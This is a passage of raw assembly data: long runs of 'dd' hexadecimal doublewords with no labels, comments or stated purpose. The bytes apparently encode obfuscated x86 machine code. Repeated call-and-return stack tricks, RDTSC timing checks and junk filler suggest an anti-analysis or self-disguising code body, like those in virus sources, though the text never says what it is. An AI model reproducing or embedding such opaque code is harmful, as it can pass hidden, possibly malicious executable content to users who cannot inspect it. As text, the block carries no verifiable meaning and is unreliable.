		dd 6442A85h, 258964h, 8B000000h, 4430499Dh, 0E985FF06h
		dd 6A064408h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0DF8DC357h, 1FC23803h,	1C3D9589h
		dd 0FF6A0644h, 0B5FFDE8Ah, 6441F39h, 12E9h, 1A5D0C00h
		dd 865A5123h, 3E06EE10h, 8C90AB18h, 0FF280640h,	44228195h
		dd 0ECE906h, 0FE8B0000h, 0EF8100B0h, 71862DFAh,	853170E6h
		dd 6442DDDh, 853171E4h,	6442E75h, 830F613Ch, 0CAh, 2BC98D89h
		dd 0B60F0644h, 6BAC8h, 95890000h, 64407B9h, 0B67737BBh
		dd 89C18B70h, 442A55B5h, 4E8C106h, 19899D8Bh, 0F7660644h
		dd 81BB66E2h, 0DBDB81E3h, 2B5F3815h, 0D9BF0FC8h, 8166D18Bh
		dd 0E986D7EBh, 82h, 931BD8Bh, 858B0644h, 505F4C4Ch, 0AD36CF81h
		dd 0BB665B63h, 0C0832B61h, 0F99D8B07h, 56064407h, 1A518D89h
		dd 835F0644h, 0B53100C0h, 6441CE1h, 830FD03Bh, 13h, 5F57B753h
		dd 0FA1CBF66h, 3DE9h, 898D0900h, 8B064410h, 0FFFFFF8Dh
		dd 0A1BD8BFFh, 83064433h, 840F01E1h, 22h, 2BA59D89h, 0A5830644h
		dd 0FFFFFFFFh, 699D89FEh, 8906442Fh, 5F4C4C95h,	3BB6650h
		dd 0E917h, 0B58D0000h, 6489442h, 6A5F56h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 0ADC35747h, 721FBCEBh
		dd 8E92DC2Bh, 4D95FFF8h, 6606441Ch, 8B60DE8Bh, 6820FD7h
		dd 29000000h, 4416CD8Dh, 3CB96106h, 6A000010h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 3A31C356h, 57E075D3h, 5C5B1563h, 2EF98D29h, 0E1830644h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 44DF7865h, 563153DDh, 0FFCF98Ah,	0B8D8BFh
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 842CC351h, 2723B063h, 762D75FEh
		dd 4E62BB66h, 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 9E956524h, 7218BFF0h
		dd 379BD89h, 33AD0644h,	3E8D1C2h, 4E983D0h, 6AF475h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0E380FEC3h, 5FBE6660h, 0DBB70FA8h, 880D61h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 7EE2A5C3h, 0DC104434h, 0BD33B0C1h, 644000Dh,	2F5D958Bh
		dd 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 7576B0C3h, 44228935h, 8D8BA7F6h, 6440679h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CBC35040h
		dd 9A6503BAh, 2240884Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0BB8A09C3h, 2E6433C1h, 30F1BD29h
		dd 0BD830644h, 6442CADh, 69840F00h, 3000000h, 440F75BDh
		dd 0B806h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 67415CC3h, 19750285h, 853198BEh
		dd 64400A1h, 8DD9B70Fh,	444E558Dh, 0FFDE8B06h, 53006AE1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 9A5C2534h, 8501BF3Bh, 6440349h, 1071BD83h, 0F000644h
		dd 4D184h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 4DED302Fh, 8306F7ABh, 441071BDh
		dd 840F0106h, 4BDh, 1071BD83h, 0F030644h, 47A86h, 0D58D0100h
		dd 6006440Dh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	6DC35141h, 25C5615Eh, 8C6644C3h, 0C1BD8BD9h, 8006441Dh
		dd 0E38104E1h, 2510E19Eh, 840FC90Ah, 15Fh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 2C35343h, 66B3A9D8h
		dd 6890Fh, 9D8B0000h, 6442645h,	0D5858BF5h, 6A06440Ah
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h
		dd 7C29C357h, 8B49E44Dh, 4425D1BDh, 0BD853306h,	66064403h
		dd 5050D88Bh, 57310F52h, 5A5F5F56h, 24048958h, 0D59FBB66h
		dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 70EF9AC3h, 2C7131B4h, 8E9h, 0AC1B0C00h, 0EEBFD691h
		dd 0D5B589BBh, 8B06441Fh, 4423D5BDh, 6DF66806h,	0BB661008h
		dd 34812FF9h, 176E0924h, 56006A10h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0C38197EEh, 19A32A90h
		dd 8195FFh, 8B660644h, 608589FEh, 6A0647B7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 1685C356h, 567FFDDDh, 204016FEh, 13E9h, 0E3B39400h
		dd 51E660C7h, 43063DA7h, 7252E92Eh, 70D1D780h, 7E9h, 36C81F00h
		dd 71C47955h, 23EE9h, 188D0F00h, 0E8000000h, 0Ch, 0E5A860A9h
		dd 7E04E382h, 0EBE97E6h, 2D25BD89h, 8B5F0644h, 47B75885h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 55B3860Fh, 8B56F954h, 4431A19Dh,	6890F06h
		dd 1000000h, 440BE185h,	1800C706h, 0F000000h, 0F84h, 0AE900h
		dd 60130000h, 0B955F672h, 281B98DCh, 32D9589h, 0B58B0644h
		dd 647B75Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	2FC35242h, 0F19D33BBh, 8B06440Dh, 44300D85h, 5820F06h
		dd 66000000h, 5E29C381h, 6A0689h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 3CED79C3h, 858BAFCEh
		dd 6440AD5h, 89DF8B66h,	6A0446h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0D0A69C3h, 1B05B509h
		dd 95890644h, 64433A1h,	24348950h, 0FFF98B66h, 47B758B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 480D736Dh, 1E3F2445h, 0E8FA8B66h, 4, 1F03FFh
		dd 50DA8B66h, 52505250h, 870Fh,	310F0000h, 13E9h, 68C26300h
		dd 0B1C439DCh, 61236A52h, 3A6EDA50h, 0A8DC299Ah, 310F585Ah
		dd 0C9BF6656h, 585A5BD7h, 424448Bh, 880F5250h, 2, 310F5F50h
		dd 13E9h, 8318A600h, 0D8B1AAF0h, 0E3A87EEEh, 0A3CA39EAh
		dd 6863837h, 8B585Ah, 198C0Fh, 52500000h, 8B0Fh, 310F0000h
		dd 8E9h, 816AC800h, 6B89CC0Eh, 89585A2Ah, 0E9042444h, 14h
		dd 4D3DB53h, 0A873F2EEh, 83EA6D9Eh, 57B43E8Ah, 0B97BE4C7h
		dd 84F38158h, 8D77D279h, 47B76085h, 28D0F06h, 8A000000h
		dd 98BB50DEh, 8946B960h, 5E92404h, 43000000h, 68DFEC50h
		dd 10E59D89h, 95FF0644h, 6440081h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 67C35343h, 0E6481895h, 119D2B09h
		dd 61064422h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	5AC35040h, 106B7FA8h, 16199D1Dh, 0B99D8B39h, 0C706441Ch
		dd 44107185h, 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 1CF9EA23h, 0C8E0Fh, 8B0F0000h
		dd 6, 24619D29h, 0BD830644h, 647B760h, 44840F00h, 0E9000000h
		dd 11h,	5723E0C1h, 0C8944DACh, 0B3C8F215h, 0F5D2FC57h
		dd 44E93Ah, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 988612C3h, 0DDDED395h, 39852935h
		dd 50064410h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 8166DEC3h, 83161AE3h, 441071BDh
		dd 850F0306h, 4AFh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 2BC35242h, 83C145FFh,	47B760BDh, 840F0006h
		dd 483h, 2CB5BD8Bh, 0B5FF0644h,	647B760h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 48C35343h, 0B11364C1h
		dd 89666047h, 442E95BDh, 9995FF06h, 6A064406h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 8DDEC353h, 884117B6h, 2575B589h, 0BE90644h, 31000000h
		dd 0D96AF0C3h, 791F8988h, 0B58B82CEh, 647B754h,	15098D89h
		dd 85310644h, 644104Dh,	106C7h,	870F0001h, 8, 0E1BD0B51h
		dd 5B064403h, 52506096h, 860F310Fh, 0
		dd 0E860585Ah, 11h, 0E27F3F1h, 0A094A59Ah, 9A1E7D94h, 91BBB555h
		dd 5E95E4Bh, 0F9000000h, 0AEBB4C8Ah, 0F506161h,	228Ah
		dd 12E800h, 0D7240000h,	3A471BC5h, 0AB6DD989h, 92720457h
		dd 309C82F4h, 5E9h, 7DFE5F00h, 965B9270h, 0B760B5FFh, 6A0647h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0D9098CC3h, 81659CEDh, 3B5271E3h, 195FF03h, 6A06441Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 5243C353h, 8543B374h, 81F58BD6h, 0A82FE1C7h
		dd 54B58B5Eh, 6A0647B7h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0E847C356h,	14E402BAh
		dd 8D0929F7h, 6441F0Dh,	0E14EACBBh, 71858B40h, 6A06442Eh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 0A5D9C355h, 813F8D91h, 8689F689h,	0C4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C35343h, 3E64669Bh
		dd 8B6CC4EEh, 442F5D95h, 81958906h, 83064429h, 6A04C2h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0B9FD9FC3h, 7A56E3F4h, 89F8BF0Fh, 66602050h,	8AAB52BEh
		dd 858D61CBh, 647CAA0h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 0D7C35242h, 29A69B40h, 44100585h, 0B8868906h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 1DABC356h, 11E90EF6h, 0D8000000h
		dd 94468F23h, 9C4F68CBh, 71B9A04Fh, 762CAB24h, 0B509006Ah
		dd 6442211h, 0B760B5FFh, 0FFF50647h, 44296D95h,	96DBB706h
		dd 6650DD8Ah, 96CCE4BBh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0B6C35747h, 0B5FFF88Bh, 647B760h, 1AE9B589h
		dd 0DF810644h, 516FBC26h, 17D995FFh, 0B70F0644h, 0B5BD83DBh
		dd 64414h, 51840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 180424h, 57470000h, 5DA4A2C3h, 0DE8A9FA2h
		dd 64EF8166h, 348950C0h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 7453DB4h, 0A19D2B2Fh
		dd 0FF06440Ah, 47B760B5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0C3790A1Dh
		dd 0D1869D78h, 860FCC71h, 6, 1F799589h,	95FF0644h, 6442E7Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EAC35141h
		dd 0BD035D28h, 6441A31h, 0B760B5FFh, 8D010647h,	6441F35h
		dd 144195FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0DA8BD1C3h, 0A85BD83h, 0F020644h
		dd 7F84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0BC1E472Fh, 94495640h, 858B1E54h
		dd 6441591h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 17h,	38C35646h, 8149701Ah, 0BB87C7DFh, 0C63Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0DCC35040h, 21EDBCA1h
		dd 514EC711h, 0BAFAE381h, 0D88B2808h, 175985C7h, 644h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 51ECA2C3h, 0BFA67F8Dh, 8166E6BEh,	0E9153ECFh
		dd 0FFFFF28Ah, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0B5C35040h, 0ED54F972h,	783B6D29h, 0DE9h, 5E0AD000h
		dd 0B738FEA0h, 49948C84h, 12E9D3CAh, 7E000000h,	0A3BC6FCDh
		dd 2AAAFB01h, 0C0341AF4h, 351328E0h, 6AC18B47h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 3711C351h, 6E91866h,	13000000h, 84321F7Ch, 0D3816699h
		dd 858D62D7h, 6441BE1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F2C35646h, 0C913DCFAh, 41BD8B18h, 31064407h
		dd 4410C98Dh, 14E95006h, 1000000h, 0D128A7Fh, 0B7547B11h
		dd 85CA5300h, 0D56DCBB7h, 897BCFFFh, 6A2404h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 63E172C3h
		dd 543855BFh, 9E952h, 36E30000h, 10E141CEh, 0F67C673h
		dd 8166FFB7h, 6A28CFE3h, 0FAB70F00h, 10E960h, 0FAD20000h
		dd 67FB1CBCh, 99FA312Fh, 182C75A7h, 85895C59h, 6441575h
		dd 0BB006A61h, 42C2AB09h, 2B1E858Dh, 6A0649h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 89EF29C3h
		dd 4417B1B5h, 0A18D0106h, 83064432h, 895105C0h,	44238995h
		dd 8B905F06h, 0E85350DFh, 13h, 2996DBE8h, 563BD3A0h, 0B731C262h
		dd 8A4EBED7h, 56C8321Bh, 905B5F5Fh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0C4C35646h,	91EA6BC9h, 66FB8404h
		dd 994EC781h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 6E939C3h, 6C000000h, 0CC1A9C8Ch
		dd 6A006A75h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 9D89C351h, 94D8276Dh, 2595FF15h
		dd 89064418h, 440A9585h, 978D8D06h, 6A06479Ah, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0A344C351h, 0B1B58B60h, 89064423h, 442D718Dh, 12E96106h
		dd 5F000000h, 0FC189905h, 284C511Dh, 0AC6E74DFh, 67E5E77Ah
		dd 66D1FF69h, 6FB8CB81h, 2F11BD83h, 0F010644h, 0AB85h
		dd 6A80B700h, 51006A02h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0D10C8178h, 594367DFh, 25499D89h
		dd 0E9900644h, 5, 0A223BDE8h, 0BF605035h, 1A47B856h, 6A9061h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C7ECF8C3h, 296D95FFh, 6A0644h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0A88390C3h, 6EBD750Eh
		dd 10E8561Bh, 0
		dd 977D0F37h, 872E79BFh, 0C02062FCh, 8BD8DF1Ch,	4409359Dh
		dd 0DB815F06h, 6E342D6Ah, 0D42E9h, 0E800h, 815D0000h, 492B28EDh
		dd 94D6BF06h, 6A7605h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 39826BC3h, 0BA0A64F2h, 80DDD72Ch
		dd 880FB0E7h, 3, 8DF88B66h, 478B5885h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 0DB09CE8Eh, 9C3D35C1h, 1834D381h, 51504AF9h,	895B47B3h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0BFB59BC3h, 4D3B4A82h, 35FF64h, 64000000h
		dd 2589h, 60600000h, 2F61B58Bh,	61610644h, 8E985FFh, 9D890644h
		dd 6442169h, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0FFD0CEC3h, 44318DB5h, 0FE906h
		dd 0ADCE0000h, 7592CD73h, 3630529h, 39A1A39Ch, 8195FF17h
		dd 0E9064422h, 124h, 3011BD09h,	0B00644h, 0E65AC380h, 0B9C78170h
		dd 0E473CB7Ah, 68F0F71h, 8B000000h, 440949BDh, 0B3E38106h
		dd 3C3A68C8h, 0F5830F61h, 8B000000h, 441965BDh,	0C8B60F06h
		dd 9FDF8166h, 3D9D8B87h, 0BA064400h, 6,	222D9589h, 0C18B0644h
		dd 0E0F408BBh, 4E8C153h, 1A9DBD8Bh, 0F7660644h,	0FDBD33E2h
		dd 2B06442Bh, 10E9C8h, 84410000h, 3B545F66h, 5F021721h
		dd 84BD3BD0h, 7E88DD2h,	0C9000000h, 0CE18EBE9h,	9501CF33h
		dd 644164Dh, 60D18B5Fh,	12E9h, 45BE3C00h, 0CD93AA9Ah, 4D0908B2h
		dd 49C0930Fh, 9BE2F6Eh,	440CB98Dh, 6DE96106h, 2B000000h
		dd 44000D9Dh, 4C858B06h, 66494755h, 0C083F98Bh,	55C38107h
		dd 83076DE3h, 0BD8B00C0h, 6442849h, 830FD03Bh, 0Eh, 0E9DF8B66h
		dd 3Ch,	5D8D31h, 8D8B0644h, 0FFFFFFFFh,	0B58BF960h, 6440F81h
		dd 1E18361h, 1E840Fh, 9D8B0000h, 64423A9h, 0FFFFA583h
		dd 66FEFFFFh, 9589FE8Bh, 4947554Ch, 0E934F780h,	0
		dd 0A47EB58Dh, 6A0648h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 17B2E2C3h, 53FF1B9Dh, 0CE9h, 1028E700h
		dd 49278430h, 0CDABE4Bh, 0BD8B5B40h, 64433A9h, 8509006Ah
		dd 64424C1h, 1C4D95FFh,	830F0644h, 17h,	12E9h, 3E74AF00h
		dd 32CA4EFEh, 0A38BF401h, 65117C6h, 0B905ACEFh,	1022h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 99C35646h
		dd 1536DB1h, 0F228890Bh, 7B29BF66h, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 9C1CC353h, 22B8B18Ah, 511591DDh, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0CB8166AFh
		dd 8529F694h, 6440C1Dh,	8D89C02Bh, 6442ECDh, 0BAh, 0AD96B700h
		dd 0E8D1C233h, 0E983D003h, 0E9F47504h, 14h, 0C05436B9h
		dd 23D22A40h, 236B1089h, 643C63B0h, 57F1A8ACh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 73C35141h, 70186DF4h
		dd 7F6D2527h, 91F38166h, 8509606Fh, 6441C51h, 61CAB70Fh
		dd 880Dh, 118D8900h, 8B06441Bh,	442F5D95h, 57006A06h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 7163D328h, 0F8024F2Eh, 6798D8Bh, 6A0644h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 5AFE4C3h
		dd 0A39E46A9h, 0C28B50ABh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6A58188Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 8D3CC350h, 0FC46E3Ch, 682h, 0B4EF8100h
		dd 80494BF9h, 0BD8375EFh, 6442CADh, 76840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 63CAC351h, 0B8601Eh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0D1E6C353h, 0EDDB81D1h, 8D3FC498h, 444E558Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 1D9D898Bh, 0FF064418h, 0F1BB66E1h, 71BD83BBh, 64410h
		dd 377840Fh, 0BB660000h, 8B663C9Ah, 71BD83FEh, 1064410h
		dd 37E840Fh, 0BE80000h,	3E000000h, 857FC258h, 10B2252Ah
		dd 0BF66837Ah, 835FC058h, 441071BDh, 860F0306h,	326h, 0FE9h
		dd 680D9300h, 0ED217F1h, 4CFE4C5Fh, 2F98504Fh, 0CE960h
		dd 0DEEB0000h, 94B6B8E5h, 4DF8613Bh, 8C66BD88h,	0CF8166D9h
		dd 0E180D4D0h, 3800F04h, 66000000h, 0C90AF98Bh,	0FA840Fh
		dd 0BB660000h, 8B51F10Bh, 4428A59Dh, 858B5F06h,	6440AD5h
		dd 3BD8533h, 8B660644h,	0DF8B90FBh, 0BD899050h,	6441685h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0FC67B2C3h, 9899D89h, 4E80644h, 0FF000000h
		dd 50001F03h, 448BDE8Bh, 50600424h, 0BE9535Ah, 0A6000000h
		dd 77BE5EE0h, 664AE052h, 615EA575h, 4489008Bh, 0CFBB0424h
		dd 58430E4Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	4DC35747h, 6F0043C0h, 7A420349h, 2850Fh, 0F88B0000h
		dd 8195FFh, 6A0644h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 170424h, 57470000h, 5E8AA3C3h, 6E820h, 25400000h, 14ECB710h
		dd 79BD0152h, 5B06442Dh, 6085895Bh, 8B0647B7h, 44298DBDh
		dd 199E906h, 0D7810000h, 29190B11h, 0B758858Bh,	0F510647h
		dd 0C75FFFBFh, 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0E28507CBh, 0FE8B6650h
		dd 5CB58B5Fh, 290647B7h, 4406F58Dh, 0D858B06h, 6A064430h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 3784C352h, 89973563h, 442379BDh, 6A068906h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 8B86C351h, 4407C5BDh, 0D5858B06h,	8B06440Ah
		dd 44689FBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0E2C35747h, 93166342h, 8B6650B9h, 243489F8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0F5C35646h, 458A0A8h
		dd 0BF6693DDh, 0B70F1C54h, 58B5FFF8h, 0F0647B7h, 78Fh
		dd 81665000h, 5FB7B4CFh, 3B413068h, 0E9525084h,	6, 0C98FAC99h
		dd 310F75BCh, 191F1DBBh, 81585A3Ch, 0C2CF2404h,	6A7BE3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 896FCAC3h, 4420759Dh, 60858D06h, 500647B7h, 89DA8B66h
		dd 98BF2404h, 0FF54239Ch, 44008195h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0DE9C8h, 5FD80000h
		dd 0EA9A0596h, 0C0419F8Ah, 51954F37h, 2C319D33h, 615B0644h
		dd 21058529h, 85C70644h, 6441071h, 3, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 0A2C35646h,	81418C3Fh, 0D81F9FD3h
		dd 60BD8352h, 647B7h, 14840Fh, 0B5890000h, 6440A6Dh, 24E9h
		dd 99C78000h, 0A2D8501h, 30500644h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0AE96C60h
		dd 0D000000h, 84D6D46Ah, 6D13C0FDh, 71BD834Dh, 3064410h
		dd 451850Fh, 0BD090000h, 6440C71h, 0B760BD83h, 0F000647h
		dd 43E84h, 319D8900h, 0F806440Ah, 0B760B5FFh, 8D290647h
		dd 6440BDDh, 69995FFh, 0BD8B0644h, 64417CDh, 0B754B58Bh
		dd 81660647h, 0C7E82EEBh, 1000106h, 11E900h, 6DC30000h
		dd 9FDB4FFDh, 12060AA8h, 0C0F0B9F1h, 92EBBCCh, 441061BDh
		dd 8A575006h, 34895FFEh, 859D8B24h, 0FF064428h,	47B760B5h
		dd 48B0F06h, 66000000h,	0FFAFDBBFh, 441E0195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 99C63DE7h, 0E900F1DBh, 0Dh, 1BC158Ah, 0ACAA6D5Eh, 0F5FCB0B6h
		dd 54B58BC4h, 0E80647B7h, 10h, 47E7BC93h, 0F457506h, 0FA03011Bh
		dd 0D03E0E63h, 0C99414BFh, 858B5B6Bh, 6442E71h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0E8C35040h, 0B2EC553Bh
		dd 9D8B70B1h, 64403D9h,	0C48689F9h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 2116C357h, 0B70A9B24h, 4B31CEE6h, 0CE8h, 48189500h
		dd 0BCA309E6h, 6052F717h, 850F53BBh, 0
		dd 958B5F5Bh, 6442F5Dh,	68C0F60h, 29000000h, 4403E195h
		dd 49D98106h, 6173554Eh, 6A04C283h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 1B46C356h
		dd 1BD8BCEh, 0E8064408h, 7, 3FE6964Eh, 5F9509A0h, 6A205089h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D02FC355h, 5B2FB1EBh, 5DB501CEh,	8D064416h
		dd 47CAA085h, 0D1958906h, 8906440Ch, 0B886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 558855CFh, 95299C5Bh, 64428EDh, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59D54FC3h
		dd 80666FB7h, 0EDB529BBh, 0B3064430h, 60B5FFC9h, 6A0647B7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 75E4C352h, 0F517DA4Bh, 0DEBF0F51h, 6D95FF5Fh
		dd 8B064429h, 4417F9BDh, 0AFB35006h, 81243489h,	0A69C33CBh
		dd 60B5FF5Eh, 6A0647B7h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 587BC353h, 0F504ED9h
		dd 0FF5BF8B7h, 4417D995h, 13E906h, 31930000h, 11D53796h
		dd 2EACE293h, 23B5CD1Ch, 0A179989Ah, 0B5BD8337h, 64414h
		dd 6B840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0C783FDC3h, 0F18AB40h, 1389h, 7E800h
		dd 44BC0000h, 87A78BD8h, 890FAFh, 5F000000h, 8F0F5196h
		dd 5, 0EE2D81BFh, 60505B08h, 0B2B55250h, 890F310Fh, 0
		dd 78BB585Ah, 61291A7Ch, 6870F96h, 89000000h, 44071595h
